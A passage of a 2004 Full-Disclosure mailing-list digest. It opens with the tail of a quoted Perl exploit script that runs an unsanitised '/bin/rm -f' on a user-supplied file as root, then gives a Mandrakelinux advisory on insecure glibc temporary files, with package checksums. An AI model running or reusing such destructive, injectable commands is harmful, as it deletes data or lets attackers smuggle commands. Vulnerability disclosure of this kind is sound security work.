> $file = $ARGV[0];
> print "*** CMD: [ /bin/rm -f $file ]\r\n";
> print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
> if ($> == 0) {
> print "[-] EXECUTING CMD\r\n";
> system("/bin/rm -f $file");
> print "[-] DONE\r\n";
> print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
> exit();
> } else {
> print "[-] EXPLOIT FAILED\r\n";
> print "[-] YOU ARE NOT ROOT\r\n";
> print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
> }
> }
>
> Vender status:
> Neither FreeBSD nor Linux developers have been contacted yet!
>
> -Xenzeo
>
------------------------------
Message: 15
Date: 30 Dec 2004 03:24:39 -0000
From: Mandrake Linux Security Team <security@...ux-mandrake.com>
Subject: [Full-Disclosure] MDKSA-2004:159 - Updated glibc packages fix
temporary file vulnerability
To: full-disclosure@...ts.netsys.com
Message-ID: <20041230032439.10118.qmail@...ates.mandrakesoft.com>
********************************************************************
This email may contain information which is privileged or confidential. If you are not the intended recipient of this email, please notify the sender immediately and delete it without reading, copying, storing, forwarding or disclosing its contents to any other person
Thank you
Check us out at http://www.bt.com/consulting
********************************************************************
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
_______________________________________________________________________
Mandrakelinux Security Update Advisory
_______________________________________________________________________
Package name: glibc
Advisory ID: MDKSA-2004:159
Date: December 29th, 2004
Affected versions: 10.0, 10.1
______________________________________________________________________
Problem Description:
The Trustix developers discovered that the catchsegv and glibcbug
utilities, part of the glibc package, created temporary files in an
insecure manner. This could allow for a symlink attack to create or
overwrite arbitrary files with the privileges of the user invoking the
program.
The updated packages have been patched to correct this issue.
_______________________________________________________________________
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0968
______________________________________________________________________
Updated Packages:
Mandrakelinux 10.0:
d3c0d6fae4d7929830090e8c91466951 10.0/RPMS/glibc-2.3.3-12.8.100mdk.i586.rpm
478aecbe69470a0466c0b6f685e63282
10.0/RPMS/glibc-debug-2.3.3-12.8.100mdk.i586.rpm
29313f60b5702b00eb709781f47b2d39
10.0/RPMS/glibc-devel-2.3.3-12.8.100mdk.i586.rpm
b4e97a220b40a2641bd3285bf2fc990d
10.0/RPMS/glibc-doc-2.3.3-12.8.100mdk.i586.rpm
b360e6de9b0dc63a7360597b345eb113
10.0/RPMS/glibc-doc-pdf-2.3.3-12.8.100mdk.i586.rpm
d40de60e1c3021267abe117bf2568b04
10.0/RPMS/glibc-i18ndata-2.3.3-12.8.100mdk.i586.rpm
21965846712d7db2a19c581a4998dc8c
10.0/RPMS/glibc-profile-2.3.3-12.8.100mdk.i586.rpm
1df7c34978d7f23e062e2145d75fcd94
10.0/RPMS/glibc-static-devel-2.3.3-12.8.100mdk.i586.rpm
18cd827de946a15585316e1aedc7f516
10.0/RPMS/glibc-utils-2.3.3-12.8.100mdk.i586.rpm
5556bc2a07cfb6c7596f8651709e26a3
10.0/RPMS/ldconfig-2.3.3-12.8.100mdk.i586.rpm
78ada3afab77a2eb0bf69f22e6913a61
10.0/RPMS/nptl-devel-2.3.3-12.8.100mdk.i586.rpm
33eb2a77406744a96f0b62ac99e6c6b5 10.0/RPMS/nscd-2.3.3-12.8.100mdk.i586.rpm
e0f8c3de9f84b2a2517e9e436c9d78ad
10.0/RPMS/timezone-2.3.3-12.8.100mdk.i586.rpm
29e42ae1c249e1e44676356d65e48e8c 10.0/SRPMS/glibc-2.3.3-12.8.100mdk.src.rpm
Mandrakelinux 10.0/AMD64:
8f497e10e0fdb577a98e836b599b6ba6
amd64/10.0/RPMS/glibc-2.3.3-12.8.100mdk.amd64.rpm
85f8288b5b457e99d07157160ea57d99
amd64/10.0/RPMS/glibc-debug-2.3.3-12.8.100mdk.amd64.rpm
24d3105e9a8604c24490d2f798d2d905
amd64/10.0/RPMS/glibc-devel-2.3.3-12.8.100mdk.amd64.rpm
0ba375ae866a114ac133419b1fcd6977
amd64/10.0/RPMS/glibc-doc-2.3.3-12.8.100mdk.amd64.rpm
240367c5128ac78428c67a84207892ec
amd64/10.0/RPMS/glibc-doc-pdf-2.3.3-12.8.100mdk.amd64.rpm
fcdd0f7867c325e4e56282e8ee038cf5
amd64/10.0/RPMS/glibc-i18ndata-2.3.3-12.8.100mdk.amd64.rpm
335c67618af7d5bc6ee78b535250fa32
amd64/10.0/RPMS/glibc-profile-2.3.3-12.8.100mdk.amd64.rpm
f513e41b3c9cf834878e82a302031b94
amd64/10.0/RPMS/glibc-static-devel-2.3.3-12.8.100mdk.amd64.rpm
5ecd5b9c15f28464ef1f0a7a42cb49e2
amd64/10.0/RPMS/glibc-utils-2.3.3-12.8.100mdk.amd64.rpm
3f55bcf134eb71f267c0894a50cfc8ee
amd64/10.0/RPMS/ldconfig-2.3.3-12.8.100mdk.amd64.rpm
1f64867fe40119309070d2f9cd33f274
amd64/10.0/RPMS/nptl-devel-2.3.3-12.8.100mdk.amd64.rpm
1f93d5f94052b52a2b42c3f057b24a45
amd64/10.0/RPMS/nscd-2.3.3-12.8.100mdk.amd64.rpm
a9f02cf82620c6e74341be95bd74b9b6
amd64/10.0/RPMS/timezone-2.3.3-12.8.100mdk.amd64.rpm
29e42ae1c249e1e44676356d65e48e8c
amd64/10.0/SRPMS/glibc-2.3.3-12.8.100mdk.src.rpm
Mandrakelinux 10.1:
1bfd1552a89e67230d560837e8a52be8 10.1/RPMS/glibc-2.3.3-23.1.101mdk.i586.rpm
feaefe712886221650ee11c17c2ee60c
10.1/RPMS/glibc-debug-2.3.3-23.1.101mdk.i586.rpm
363152222d78953d66a1ab907422c362
10.1/RPMS/glibc-devel-2.3.3-23.1.101mdk.i586.rpm
c396e0fa56bf99514947db942f603a93
10.1/RPMS/glibc-doc-2.3.3-23.1.101mdk.i586.rpm
0af69cde9a1ee5a9880ab20a4084ec40
10.1/RPMS/glibc-doc-pdf-2.3.3-23.1.101mdk.i586.rpm
36af3cda588047bdd0438ab99fc5172a
10.1/RPMS/glibc-i18ndata-2.3.3-23.1.101mdk.i586.rpm
e2221cb00b488d72cf4c61302771a639
10.1/RPMS/glibc-profile-2.3.3-23.1.101mdk.i586.rpm
c9eeea5047ce49a11299f038cce43cf2
10.1/RPMS/glibc-static-devel-2.3.3-23.1.101mdk.i586.rpm
62d1c85236fdc348d5bb8ffc763d43ad
10.1/RPMS/glibc-utils-2.3.3-23.1.101mdk.i586.rpm
db0df09231bf64cb7aa70c771e15599a
10.1/RPMS/ldconfig-2.3.3-23.1.101mdk.i586.rpm
3aadb015bad4d08bbae72469836f4d05
10.1/RPMS/nptl-devel-2.3.3-23.1.101mdk.i586.rpm
a5fcb4e74b84d4fc9d645652527e20d5 10.1/RPMS/nscd-2.3.3-23.1.101mdk.i586.rpm
47d6540793020f021bfc9c0b9f3b2276
10.1/RPMS/timezone-2.3.3-23.1.101mdk.i586.rpm
0734f25c465b9ebcf39180a6fdf44d53 10.1/SRPMS/glibc-2.3.3-23.1.101mdk.src.rpm
Mandrakelinux 10.1/X86_64:
387ea4a78ad359905011f180d821b258
x86_64/10.1/RPMS/glibc-2.3.3-23.1.101mdk.x86_64.rpm
622a53d71f3ffdbd80b6adbec1a53d03
x86_64/10.1/RPMS/glibc-debug-2.3.3-23.1.101mdk.x86_64.rpm
ecbf0ca4f665927cebef470f4b5b0aa2
x86_64/10.1/RPMS/glibc-devel-2.3.3-23.1.101mdk.x86_64.rpm
bcc5d43efc32b2a3722ab8bac7c086fb
x86_64/10.1/RPMS/glibc-doc-2.3.3-23.1.101mdk.x86_64.rpm
0650cc94e3ff7d3441e196875924ac9e
x86_64/10.1/RPMS/glibc-doc-pdf-2.3.3-23.1.101mdk.x86_64.rpm
72b508b5295d72a8b96c3fe78efa6007
x86_64/10.1/RPMS/glibc-i18ndata-2.3.3-23.1.101mdk.x86_64.rpm
e6a8a85bc80f481cbb9c2c29dd9ae1f6
x86_64/10.1/RPMS/glibc-profile-2.3.3-23.1.101mdk.x86_64.rpm
545a8840739ae3716f6234868e5de16f
x86_64/10.1/RPMS/glibc-static-devel-2.3.3-23.1.101mdk.x86_64.rpm
b396d0af7a534763db7359b26c950448
x86_64/10.1/RPMS/glibc-utils-2.3.3-23.1.101mdk.x86_64.rpm
6fdedd56d68856e638fe1f6dcaea6f17
x86_64/10.1/RPMS/ldconfig-2.3.3-23.1.101mdk.x86_64.rpm
e2ef0b1a4d2e492328a7d408878c13d7
x86_64/10.1/RPMS/nptl-devel-2.3.3-23.1.101mdk.x86_64.rpm
37edf16413ba9f036ba5434f31832881
x86_64/10.1/RPMS/nscd-2.3.3-23.1.101mdk.x86_64.rpm
68b7cdb358e9fbd38eba38dbb9216eed
x86_64/10.1/RPMS/timezone-2.3.3-23.1.101mdk.x86_64.rpm
0734f25c465b9ebcf39180a6fdf44d53
x86_64/10.1/SRPMS/glibc-2.3.3-23.1.101mdk.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrakeUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
All packages are signed by Mandrakesoft for security. You can obtain
the GPG public key of the Mandrakelinux Security Team by executing:
gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98
You can view other update advisories for Mandrakelinux at:
http://www.mandrakesoft.com/security/advisories
If you want to report vulnerabilities, please contact
security_linux-mandrake.com
Type Bits/KeyID Date User ID
pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team
<security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
iD8DBQFB03T2mqjQ0CJFipgRAsGxAJ4w5MrLm/iq1meYV9yMg8sMbCHbrgCguhSR
l+3oHXol5pgiVuE/RyjXBH0=
=gAsH
-----END PGP SIGNATURE-----
------------------------------
_______________________________________________
Full-Disclosure mailing list
Full-Disclosure@...ts.netsys.com
https://lists.netsys.com/mailman/listinfo/full-disclosure
End of Full-Disclosure Digest, Vol 1, Issue 2144
************************************************
********************************************************************
This email may contain information which is privileged or confidential. If you are not the intended recipient of this email, please notify the sender immediately and delete it without reading, copying, storing, forwarding or disclosing its contents to any other person
Thank you
Check us out at http://www.bt.com/consulting
********************************************************************
Powered by blists - more mailing lists